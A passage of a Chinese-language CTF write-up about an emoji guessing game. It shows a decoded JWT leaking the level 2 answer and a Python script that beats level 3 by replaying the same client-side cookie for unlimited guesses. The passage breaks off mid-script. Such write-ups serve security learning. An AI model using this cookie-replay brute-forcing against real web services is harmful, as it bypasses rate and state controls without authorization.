{"data":{"level":"2","remaining_guesses":"8","target":"\uD83D\uDC7C\uD83D\uDC7A\uD83D\uDC78\uD83D\uDC60\uD83D\uDC7C\uD83D\uDC67\uD83D\uDC52\uD83D\uDC58\uD83D\uDC55\uD83D\uDC5F\uD83D\uDC60\uD83D\uDC5D\uD83D\uDC82\uD83D\uDC48\uD83D\uDC86\uD83D\uDC79\uD83D\uDC48\uD83D\uDC7B\uD83D\uDC66\uD83D\uDC64\uD83D\uDC3F\uD83D\uDC89\uD83D\uDC5C\uD83D\uDC61\uD83D\uDC56\uD83D\uDC46\uD83D\uDC41\uD83D\uDC6A\uD83D\uDC89\uD83D\uDC55\uD83D\uDC7C\uD83D\uDC66\uD83D\uDC7F\uD83D\uDC43\uD83D\uDC41\uD83D\uDC87\uD83D\uDC3B\uD83D\uDC62\uD83D\uDC66\uD83D\uDC42\uD83D\uDC55\uD83D\uDC58\uD83D\uDC7A\uD83D\uDC82\uD83D\uDC41\uD83D\uDC74\uD83D\uDC5E\uD83D\uDC85\uD83D\uDC7E\uD83D\uDC80\uD83D\uDC46\uD83D\uDC7F\uD83D\uDC5A\uD83D\uDC56\uD83D\uDC76\uD83D\uDC5F\uD83D\uDC85\uD83D\uDC5A\uD83D\uDC86\uD83D\uDC5C\uD83D\uDC44\uD83D\uDC83\uD83D\uDC78\uD83D\uDC75"},"nbf":1697273083,"iat":1697273083}
```

#### Level 3
level 3 的 JWT 不再包含答案,但包含 seed 和剩余猜测次数。这说明游戏状态存于 client side,一直用同一个 Cookie 而不接受服务器发来的新 Cookie 即可无限次猜测,然后就和 level 1 一样了(下面的代码主要就是改了个设置 Cookie)。
```python
import re
import requests
port = 50326
url = f"http://chal.thuctf.redbud.info:{port}/level3"
emojis = []
with open("emoji-sequences.txt") as seq:
for line in seq:
if len(line) < 2 or line.startswith("#"):
continue
code = line.split()[0]
if ".." in code:
l, r = code.split("..")
else:
l, r = code, code
for i in range(int(l, 16), int(r, 16) + 1):
emojis.append(chr(i))
emojis = "".join(set(emojis))
cookies = None
def guess(g: str):
global cookies
res = requests.get(url, params={"guess": g}, cookies=cookies)
if cookies is None:
cookies = res.cookies
m = re.findall('results\\.push\\("([🟥🟨🟩]*)"\\)', res.text)[0]
result = []
for c in m:
if c == "🟥":
result.append("r")
elif c == "🟨":
result.append("y")
else:
result.append("g")
if result.count('g') == 64:
print(res.text)
return result
answer = ["?"] * 64
charset = set()
for i in range(0, len(emojis), 64):
res = guess(emojis[i : i + 64])
for j in range(64):
if i + j >= len(emojis):
break
if res[j] != "r":